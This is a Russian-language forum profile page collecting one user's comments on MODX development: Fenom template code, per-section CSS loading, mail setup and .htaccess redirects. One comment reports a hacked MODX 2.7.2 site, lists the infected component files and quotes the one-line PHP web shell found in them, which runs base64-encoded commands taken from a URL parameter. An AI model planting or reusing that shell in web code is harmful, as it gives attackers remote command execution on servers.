Дмитрий Середюк

Дмитрий Середюк

С нами с 07 декабря 2014; Место в рейтинге пользователей: #101
Дмитрий Середюк
24 июля 2025, 20:44
0
Добавьте просто колонку parent для всех импортируемых строк и укажите в ней id родителя и будет все ок
Дмитрий Середюк
04 июня 2025, 03:57
+1
А примерно понял что имели ввиду, можно сделать как то так

<!-- above-the-fold:start -->
    <header class="site-header">
        <div class="logo-wrapper">
            <img src="logo.svg" alt="Логотип" class="logo">
        </div>
        <nav class="main-nav">
            <a href="#" class="nav-link active">Главная</a>
            <a href="#" class="nav-link">Контакты</a>
        </nav>
    </header>

    <section class="hero-slider js-slider">
        <div class="slide">Слайд 1</div>
        <div class="slide">Слайд 2</div>
    </section>
<!-- above-the-fold:end -->

Обрамляем нужные элементы маркерами

Далее парсим всем классы, индификаторы, теги. Ищем их в файле стилей и формируем.
Но есть конечно же нюансы если к примеру используется какие либо js библиотеки по типу того же swiper slider которые после рендора внедряют свои классы элементам то это не сработает, в общем нужно обмозговать это дело, возможно что то и выкачу позже.
Дмитрий Середюк
04 июня 2025, 03:30
0
Не совсем понимаю что имеете ввиду, но у себя я делаю так
Использую migx в админке выглядит вот так
и на каждую секцию генерирую свой css
Далее в head прохожусь только по текущим секциям страницы собираю объект path, который в свою очередь передаю в MinifyX

{set $rows = json_decode($_modx->resource.id | resource : 'multiMigx', true)}
{if $rows}
    {set $arrDouble=[]}
    {set $path=[]}
    {foreach $rows as $row}
      {if $row.MIGX_formname | in : $arrDouble}{continue}{/if}
      {set $arrDouble[] = $row.MIGX_formname}
      {if $row.MIGX_formname != 'default' && $row.MIGX_formname != 'code'}
        {set $path[] = ('project_path' | config)~'css/modules/'~$row.MIGX_formname~'.min.css'}
      {/if}
    {/foreach}
{/if}

{'!MinifyX' | snippet : [
    'minifyCss' => 1,
    'cssSources' => ($path | join : ','),
]}

Для страниц где не используется migx просто добавляю по условию на нужные страницы

{if $_modx->resource.id === 245}
    {set $path=[
      ('project_path' | config)~'css/modules/cart.min.css',
      ('project_path' | config)~'css/modules/order.min.css',
    ]}
{/if}

В общем суть я думаю ясна
Дмитрий Середюк
04 июня 2025, 03:19
0
На счет js файлов думаю что можно по такому же принципу сделать, но целесообразность этого не подскажу, у себя на проекте использую ES6 Modules загружаю только нужные скрипты в зависимости от секций + всякие фишки с использованием IntersectionObserver

По скорости прироста в процентах не подскажу, была задача повысить показатель всеми любимого google page speed и результат до использования инлайн стилей прыгал от 93-95 балов, при подключение основных файлов удалось добиться долгожданной сотки
Дмитрий Середюк
18 мая 2025, 00:45
0
Заметил данный пост, и не я один такой)) Сайт отрубали, пришлось скачивать его на локалку, прогонять через утилиту — ai-bolit.
Сайт был версии 2.7.2
Зараженные директории:
  1. assets/components/formit/js/mgr/widgets/migrate.panel.php
  2. assets/components/migx/js/mgr/widgets/grids/migxgallery.grid.php
  3. assets/components/pdotools/js/pdopage.min.php
Сам код во всех файлах одинаковый
<?php system(base64_decode($_GET['t']))
Ну и да как уже выше писали на уровень выше корня сайта были созданы директории:
.local, .config — в которых и была пакасть.
Компоненты обновил, систему обновил, дрянь удалил.
3й День пока все ок
Дмитрий Середюк
07 апреля 2025, 22:38
0
PHPMailer не поддерживают из коробки OAuth 2.0 (GPT в помощь).
Попробуйте отключить Security Defaults.

Но если нужно все же с OAuth 2.0 то GPT нынче могут подсказать поэтапно что да как нужно сделать, пробуйте
Дмитрий Середюк
07 апреля 2025, 22:25
0
Попробуйте влючить и вырубить VPN, после перезагрузите винду если на винде
Дмитрий Середюк
30 января 2025, 19:57
0
{set $countryOffices = 'pdoResources' | snippet : [
        'parents' => $currentCountryId,
        'sortby' => 'createdon',
        'sortdir' => 'DESC',
        'hideContainers' => '1',
        'return'           =>'json',
    ]|json_decode}
{foreach $countryOffices  as $v}
    {if $v.parent != $currentRegionId}
        {* Исключаем регионы  / Выводим страны *}
    {/if}
{/foreach}
Дмитрий Середюк
02 апреля 2024, 11:29
0
Была такая же проблема, как написал Алексей выше избавьтесь от запятых в значениях на другой символ и будет счастье.
Дмитрий Середюк
27 марта 2024, 00:41
0
Доброго времени, какие то зависимости у компонента есть?, мин версия modx? Установил на один сайт словил 500, хотел просто посмотреть javascript
Подумал что дело в плагине, отрубил его через БД не помогло по прежднему белый 500, запустил откат базы и файлов
Дмитрий Середюк
04 декабря 2023, 00:19
+1
Возможно дело в каком то плагине с событием OnDocFormSave по отключайте плагины по очередно.
Дмитрий Середюк
07 августа 2023, 22:43
0
Попробуйте вот так
'optionFilters' => [
'brand'=>$_modx->resource.pagetitle
]
Дмитрий Середюк
29 июня 2023, 02:23
0
Если что Вот есть норм сервис, smtp.bz/panel/ там и DKIM через него и Все прочие плюшки подрубаю.
Дмитрий Середюк
20 января 2023, 09:58
0
Попробуйте этот вариант — github.com/aFarkas/lazysizes ранее была та же проблема, то после фильтрации то после пагинации нужно было перезапускать плагин lazy, а вот с этим все ок.
Дмитрий Середюк
26 сентября 2022, 08:16
0
{$id | pdoField : '{"field":"pagetitle", "top":1}'}
Вроде как то так
Дмитрий Середюк
24 апреля 2022, 02:23
0
Насколько помню есть параметр tvPrefix и он по умолчанию равеy 'tv.' Попробуйте указать
$params['tvPrefix'] = '';
Дмитрий Середюк
10 февраля 2022, 13:55
0
У меня на большинстве проектов вот такая конструкция, на разных хостах.
RewriteCond %{HTTP:X-Forwarded-Proto} !=https
RewriteRule .* https://%{SERVER_NAME}%{REQUEST_URI} [R=301,L]